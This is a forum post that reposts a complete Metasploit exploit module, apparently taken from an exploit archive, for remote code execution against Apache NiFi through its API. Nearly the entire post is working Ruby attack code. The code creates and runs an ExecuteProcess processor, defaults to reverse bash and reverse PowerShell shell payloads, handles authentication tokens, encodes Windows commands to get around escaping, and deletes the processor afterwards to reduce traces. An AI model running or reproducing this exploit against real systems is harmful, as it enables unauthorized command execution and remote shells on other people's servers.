Kev Posted December 1, 2020 Report Posted December 1, 2020 (edited) ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## # Potential Improvements: # Add option to authenticate using client certificate # Add a scanner module? class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info( info, 'Name' => 'Apache NiFi API Remote Code Execution', 'Description' => ' This module uses the NiFi API to create an ExecuteProcess processor that will execute OS commands. The API must be unsecured (or credentials provided) and the ExecuteProcess processor must be available. An ExecuteProcessor processor is created then is configured with the payload and started. The processor is then stopped and deleted.', 'License' => MSF_LICENSE, 'Author' => ['Graeme Robinson'], 'References' => [ ['URL', 'https://nifi.apache.org/'], ['URL', 'https://github.com/apache/nifi'], ['URL', 'https://nifi.apache.org/docs/nifi-docs/components/org.apache.nifi/nifi-standard-nar/1.12.1/' \ 'org.apache.nifi.processors.standard.ExecuteProcess/index.html'] ], 'DisclosureDate' => 'Oct 3 2020', 'DefaultOptions' => { 'RPORT' => 8080 }, 'Platform' => %w[unix linux macos win], 'Arch' => [ARCH_X86, ARCH_X64], 'Targets' => [ [ 'Unix (In-Memory)', 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_memory, 'Payload' => { 'BadChars' => '"' }, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } ], [ 'Windows (In-Memory)', 'Platform' => 'win', 'Arch' => ARCH_CMD, 'Type' => :win_memory, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/reverse_powershell' } ] ], 'Privileged' => false, 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES] } )) register_options( [ OptString.new('TARGETURI', [true, 'The base path', '/nifi-api']), OptString.new('USERNAME', [false, 'Username to authenticate with']), OptString.new('PASSWORD', [false, 'Password to authenticate with']), OptString.new('BEARER-TOKEN', [false, 'JWT authenticate with']), OptInt.new('DELAY', [true, 'The delay (s) before stopping and deleting the processor', 5]) # 2 seems enough in my lab, but set to 5 for safety ], self.class ) end def check_response(description, response, expected_response_code, item = '') # Check that response was received fail_with(Failure::Unreachable, "Unable to retrieve HTTP response from API when #{description}") unless response # Check that response code was expected if response.code != expected_response_code fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code from API when #{description} " \ "(received #{response.code}, expected #{expected_response_code})") end # Check that item can be retrieved return if item.empty? body = response.get_json_document unless body.key?(item) fail_with(Failure::UnexpectedReply, "Unable to retrieve #{item} from HTTP response when #{description}") end body[item] end def supports_login response = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'access', 'config') }) config = check_response('GETting access configuration', response, 200, 'config') config['supportsLogin'] end def fetch_process_group opts = { 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'process-groups', 'root') } opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token response = send_request_cgi(opts) check_response('GETting root process group', response, 200, 'id') end def create_processor(process_group) body = { 'component' => { 'type' => 'org.apache.nifi.processors.standard.ExecuteProcess' }, 'revision' => { 'version' => 0 } } opts = { 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'process-groups', process_group, 'processors'), 'ctype' => 'application/json', 'data' => body.to_json } opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token response = send_request_cgi(opts) check_response("POSTing new processor in process group #{process_group}", response, 201, 'id') end def configure_processor(command) cmd = command.split(' ', 2) body = { 'component' => { 'config' => { 'autoTerminatedRelationships' => ['success'], 'properties' => { 'Command' => cmd[0], 'Command Arguments' => cmd[1] }, 'schedulingPeriod' => '3600 sec' }, 'id' => @processor, 'state' => 'RUNNING' }, 'revision' => { 'clientId' => 'x', 'version' => 1 } } opts = { 'method' => 'PUT', 'uri' => normalize_uri(target_uri.path, 'processors', @processor), 'ctype' => 'application/json', 'data' => body.to_json } opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token response = send_request_cgi(opts) check_response("PUTting processor #{@processor} configuration", response, 200) end def stop_processor # Attempt to stop process body = { 'revision' => { 'clientId' => 'x', 'version' => 1 }, 'state' => 'STOPPED' } opts = { 'method' => 'PUT', 'uri' => normalize_uri(target_uri.path, 'processors', @processor, 'run-status'), 'ctype' => 'application/json', 'data' => body.to_json } opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token response = send_request_cgi(opts) check_response("PUTting processor #{@processor} stop command", response, 200) # Stop may not have worked (but must be done first). Terminate threads now opts = { 'method' => 'DELETE', 'uri' => normalize_uri(target_uri.path, 'processors', @processor, 'threads') } opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token response = send_request_cgi(opts) check_response("DELETEing processor #{@processor} terminate threads command", response, 200) end def delete_processor opts = { 'method' => 'DELETE', 'uri' => normalize_uri(target_uri.path, 'processors', @processor), 'vars_get' => { 'version' => 3 } } opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token response = send_request_cgi(opts) check_response("DELETEting processor #{@processor}", response, 200) end def check # As far as I can tell from the API documentation, it's not possible to check whether the required permissions are # present unless "permission to check permissions" is granted. For this reason it reports: # * "Unknown" if a timeout is experienced when checking whether login is required # * "Safe" if the response to the login check is not one of the two expected responses because it's probably not # NiFi # * "Detected" if login is required, because it has confirmed that NiFi is running on the port becuase it got an # expected response # * "Appears" if login is not required because it has confirmed that Nifi is running because it got the expected # response and if there is no authentication then there is no way of restricting the ExecuteCode permimssion @cleanup_required = false response = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'access', 'config') }) if !response CheckCode::Unknown else body = response.get_json_document if !body.key?('config') CheckCode::Safe elsif body['config']['supportsLogin'] CheckCode::Detected else CheckCode::Appears end end end def validate_config return if datastore['BEARER-TOKEN'].to_s.empty? || datastore['USERNAME'].to_s.empty? fail_with(Failure::BadConfig, 'Specify EITHER Bearer-Token OR Username') end def retrieve_token response = send_request_cgi( { 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'access', 'token'), 'vars_post' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] } } ) check_response('POSTing credentials', response, 201) response.body end def cleanup return unless @cleanup_required # Wait for thread to execute - This seems necesarry, especially on Windows # and there is no way I can see of checking whether the thread has executed print_status("Waiting #{datastore['DELAY']} seconds before stopping and deleting") sleep(datastore['DELAY']) # Stop Processor stop_processor vprint_good("Stopped and terminated processor #{@processor}") # Delete processor delete_processor vprint_good("Deleted processor #{@processor}") end def exploit validate_config # Check whether login is required and set/fetch token if supports_login if datastore['BEARER-TOKEN'].to_s.empty? && datastore['USERNAME'].to_s.empty? fail_with(Failure::BadConfig, 'Authentication is required. Bearer-Token or Username and Password must be specified') end @token = if datastore['BEARER-TOKEN'].to_s.empty? retrieve_token else datastore['BEARER-TOKEN'] end else @token = false end # Retrieve root process group process_group = fetch_process_group vprint_good("Retrieved process group: #{process_group}") @cleanup_required = true # Create processor in root process group @processor = create_processor(process_group) vprint_good("Created processor #{@processor} in process group #{process_group}") # Generate command case target['Type'] when :unix_memory cmd = "bash -c \"#{payload.encoded}\"" when :win_memory # This is a bit hacky because double quotes are processed and removed by the NiFi ExecuteCommand processor. See # below for why BadChars didn't cut it. The solution used is to wrap up command in a cmd /C "payload" command and # use powershell's Stop-parsing token (--%) to remove the need to perform any escaping of metacharacter. This # command is then base64 encoded and run with -e/-EncodedCommand. This allows commands including double quotes and # dollar signs (etc.) to be passed to cmd.exe # # This method was chosen rather than using # BadChars => '"' # with # cmd /C "#{payload.encoded}" # because commands such as # echo x^"x >%tmp%\x # did not work with the BadChars method ("^" is the cmd.exe escape char) enc_cmd = Base64.strict_encode64("cmd /C --% #{payload.encoded}".encode('UTF-16LE')) cmd = "powershell.exe -e #{enc_cmd}" end vprint_status("Using command #{cmd}") # Configure processor and run command configure_processor(cmd) vprint_good("Configured processor #{@processor} and ran command") end end # 0day.today [2020-12-01] # Source Edited December 1, 2020 by Kev syntax highlight 1 Quote
